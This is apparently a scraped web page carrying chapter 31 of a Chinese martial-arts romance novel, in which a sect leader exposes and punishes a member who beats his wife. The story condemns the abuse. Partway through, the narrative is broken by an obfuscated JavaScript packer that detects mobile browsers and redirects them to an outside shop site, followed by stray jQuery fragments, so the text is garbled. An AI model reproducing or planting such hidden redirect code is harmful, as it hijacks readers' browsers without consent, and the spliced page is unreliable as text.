文趣网 > 都市小说 > 比武招囍 > 31. 家暴的男人
    回到了派内,碧萦畅快地沐了浴,终于是消弭了周身的疲惫。

    夜间的小院内,她与同样沐浴更衣后的孟栩相遇,他正坐雅庭内品着茶。

    又是品茶,看来他很是爱喝茶。

    不知是不是那水中一吻的缘故,碧萦现在看到他,竟有些许慌乱和不自在。

    正好月色姣好,银辉遍洒,那就假装赏月?

    于是,碧萦佯装忙碌之态,抬头望着那一轮皓月。

    孟栩也注意到了她,轻声唤道:“碧萦,坐我这来。”

    碧萦愣了愣神,低低应了声“好”,便移步至他身旁的竹凳上坐了下来。

    他发丝和衣衫上萦绕着的淡淡清雅香味,伴着那轻柔的晚风,丝丝缕缕沁入她的鼻内。

    好香,从前怎从未发现?

    难道是他从前懒于沐浴?

    还是,因为今晚这月色太过静谧,晚风太过温婉,才让自己,在这夜姗姗来迟地觉察到他身上的幽幽淡香?

    碧萦凝眸看他,忍不住问道:“今日你用了什么沐浴,这般香?”

    孟栩困惑地抬起手臂,凑近自己的衣袖闻了闻,不解道:“与之前,无差。”

    碧萦向他那靠了靠,还是觉得那清冽的香味扑着她鼻尖。

    碧萦依然兴誓旦旦:“是香。”

    孟栩也没有多想其它,用平静的语气叙着正事:“九霄派堂堂一堂主失踪,再加之山脚亭子被炸毁,两件事都很难瞒得住。思虑再三,我还是着弟子去报了官,主动备案。但隐去了白书臣之事,只当是全然不知彭堂主为何失踪。”

    碧萦点点头,又道:“那白书臣也失踪了,你如何交代?”

    “我对外称他家中长辈病重,向我告假回家探亲去了。至于多久会回,等时间久了,也就没有人会再深究了。”

    也是,一弟子告假回家,又有掌门背书,也是常情,旁人自不会起疑。

    碧萦又想起了那个家暴妻子的戴晏:“那戴晏呢?”

    “他?”孟栩沉思片刻,踌躇着是否要开口:“按说,派内之人的家务事,我本不该插手的,可他动手打自己妻子,属于德行有亏,有悖我派祖师爷的‘仁义立行’祖训,若不加以惩戒,不足以立正派门风。”

    “说得极是!”碧萦不禁抚掌叫好道,“不愧是我孟大掌门。”

    碧萦将“孟大掌门”四个字语音特意拉了长。

    被碧萦这一夸,孟栩嘴角也少见地勾起一抹笑意。

    深谙人性的孟栩其实早就洞察到,那邹为昭实为一直性子,没什么心眼,但也易受人挑拨,反而这戴晏却是个实打实的挑事小人。

    若非他从中作梗,邹为昭上次岂能自己挑起事端。

    这次正好借机收拾戴晏,也算正合孟栩之意。

    孟栩低眸静看碧萦,月色之下,她整个人便犹如被染上一层莹白的柔光,那如羊脂玉般透白的肤色,朦胧又唯美。

    她灵动又温婉的眸光流转,动人心弦,待她轻轻一笑,眼眸又旋即变得勾人地柔媚。

    孟栩不由地痴痴想着,月中仙子若落入凡间,便是这般吧。

    碧萦突然“嗤”地叫了一声。

    “怎么了?”孟栩回过神,关切地问她。

    碧萦蹙眉道:“心脏好像又有点痛了。”

    孟栩立刻转开了头,责怪自己怎么又这样忘情了,害得她又这样发疼?真是不应该。

    他真切地低声道:“碧萦,我们把戴堂主的事处理了,就去找那几个山贼问解药吧。”

    碧萦没什么底气地道:“那个山贼头头已经死了,还拿得到解药吗?”

    孟栩顿了顿,道:“会有办法的。”

    这些日子里发生的一切,让碧萦觉得只要他说“会有办法的”,“没事的”,她的心便会踏实许多。年少一别,多年未见,他已积一身过人的本事和精密的智谋,强大到让她足足安心。

    不知不觉间,只要在他身旁,就有了踏踏实实的安全感。

    不过,也有例外之时,便是病中的他。

    第二日下午,孟栩对着碧萦神秘一笑,道:“今日便又有好戏看了。”

    原来是孟栩安排阮师姐下山请来戴晏的这位续弦魏莞,并托师姐带话魏莞,允诺会为她做主,让她与戴晏和离。

    阮师姐知晓戴堂主家暴妻子之后,自然是义愤填膺,当即便下山去寻这魏莞。

    本以为在戴家定需对魏莞有一番劝解,才能让她下此决心,可没想到她直接一脸决绝地答应下来。

    这魏莞下午便随阮语桐来到了山门内。

    除了碧萦外,孟栩只叫来了阮语桐与邹为昭来他堂内共证。

    起初被叫来的戴晏,尚不知发生何事。

    但见自己妻子竟未提前告知他便来至此处,就惊觉事情不对劲。

    他压低了声音,恶狠狠地对魏莞小声耳语道:“你来这做什么?还不快回去。”

    但让他未料到的是,在他面前一向怯懦的魏菀,却一改往日模样,直迎他的狠厉目光,轻笑着道:“我不想再听你的了。”

    从前她是为了还家中父亲赌博欠债,被父亲卖给了此人抵债,可好赌的父亲在牺牲了女儿的终生幸福之后,也并未就此收手,反而更加变本加厉地好赌。

    她不想再因这样的父亲白白苦了自己。

    这样的父亲,她不管也罢。

    她已不再在乎父亲如何,现下又有掌门撑腰,便无什么再能让她惧怕的了。

    孟栩厉声道:“戴堂主,你在家中无端殴打妻子,德行有亏,有损宗门风骨,今日你妻子魏莞托我为她做主,你可知错?”

    闻此事,邹为昭很是震惊,满脸错愕地望着戴晏:“师弟,此事为真?”

    戴晏昂着头,毫无愧意地道:“无凭无据之事,你们竟听这妇人污蔑之言。”

    碧萦坐在侧旁,斜斜地睨了他一眼。

    只见魏莞不慌不忙,对着堂内几人,忽然将自己双手的衣袖撸起,那连片的暗紫色淤青犹如几条小蛇,深浅不一地爬满她的双臂。

    她双手捏紧自己领口再用力一扯开,半块肩膀裸露在外,露出同样刺眼的斑驳淤伤,新伤旧伤层层叠叠,触目惊心。

    魏莞只是淡冷地道:“这些便是证据。”

    众人一时又惊又怜,目光齐齐落在她身上。

    碧萦满眼心疼地望着她,起身走至她身旁,将她领口的衣衫往上扯了扯,低声道:“怎么忍了这么久才说,今日,孟掌门一定会替你做主。”

    言毕,碧萦又向着孟栩看去,因着非礼勿视,他已将目光从魏莞身上移走。

    孟栩隔着戴晏,对着碧萦沉沉地点了点头,眼中满是坚定。

    看到这些伤痕,戴晏旋即便跳了脚,大吼大叫道:“她身上有伤痕,与我何干系?又不是我干的。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663938|207230||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    碧萦正欲与之争论,却先听到阮语桐指着他怒斥道:“你还敢抵赖!”

    戴晏眼带讥讽,扫了一眼阮语桐,不屑地冷哼一声。

    一路听着魏莞遭遇的阮语桐此刻更加怒火中烧,拍着桌子,大声责骂道:“你数十载习武,内功深厚,一掌下去,普通女子岂能承受得住?你这是想要了她的命。”

    碧萦侧目注视着一脸正气的阮语桐,不由地心生几分佩服,她这清清冷冷的长相之下竟然也是这般好打不平的直爽,与自己的性情倒有几分相似。

    不过戴晏却继续嚣张道:“证据呢?我问你证据呢?她是被人打了,但什么证据证明是我干的。”

    此时,与戴宴一直私交甚好的邹为昭轻声细语地向着孟栩求情:“掌门,这其中是否有些许误会呢?我师弟不是这样的人……”

    但说到“不是这样”四个字时,邹为昭的语气明显弱了许多,显得底气不足。

    是啊,好像确是没什么直接证据证明是他所为,但略知师弟为人不端的邹为昭内心其实也有几分底了。

    碧萦揽着魏莞,怒冲冲地向着戴晏道:“你妻子就是人证,怎么就不是证据了?”

    戴晏满脸鄙弃,不以为然道:“她在污蔑我。”

    “你!”碧萦气鼓鼓地,一时语塞起来。

    孟栩轻声一笑,静静地道:“那你母亲,也会污蔑你吗?”

    只见他手里攥着一封信,信封写着:掌门孟栩亲启。

    碧萦看向孟栩,并未提前知他还有别的证据,忽而顿时眼中亮了神采。

    戴晏显然也有些惊诧,微微张嘴,看着孟栩。

    孟栩面上无多余情绪,轻轻从信封中抽出信,读道:“府中诸事皆我亲眼目睹,我儿戴晏常因心中不顺,便迁怒其妻魏莞,施以殴辱,极其恶劣,屡教不改。府内家丁婢女皆知此事,我教出这等孽子,是属我管教无方,特请孟掌门代为管教。若需老身配合,我即可动身亲自前往。”

    落款便是戴晏的母亲蔡氏。

    孟栩读毕将信反手向着众人展示,戴晏走上前去不可置信地盯着确认了许久,确信此竟然真为自己母亲的亲笔书信。

    碧萦目光扫向一旁的魏莞,她怔怔地望着孟栩手中之信,眼眸闪烁,眼睫微微颤栗。

    魏莞内心百感交集,没想到婆婆竟然在这刻站在她这边,挺身而出,大义灭亲。

    邹为昭也凑近着看了看孟栩手中信件,待确认清内容后,痛心疾首地对着邹为昭道:“师弟,你。”

    孟栩凝着笑意,道:“戴堂主是否需要我请老夫人来亲自对峙?”

    见母亲都书信里这般指认自己,自然是辩无可辩,戴晏往后撤了几步,不住地摇着头:“连母亲都向着她,那我,那我……自当无话可说,也不必劳她老人家周身劳顿来此了。”

    他已收敛起先头那恣肆的气焰,十分识时务地露出惶恐又谦卑的神情。

    碧萦见他已认了罪,悬着的心也终于落了几分。

    “既然已认了此事,那也当受此之罚。”孟栩又转头看向邹为昭,“邹堂主,这是你们玄策堂的副堂主,你有什么想法。”

    邹为昭眉头紧锁,无奈地看着戴晏。他向来秉直,但师弟又与他关系极为亲密,此刻,他内心自是无比纠结。

    他叹了口气,对着孟栩道:“悉听掌门定夺。”

    孟栩淡然一笑。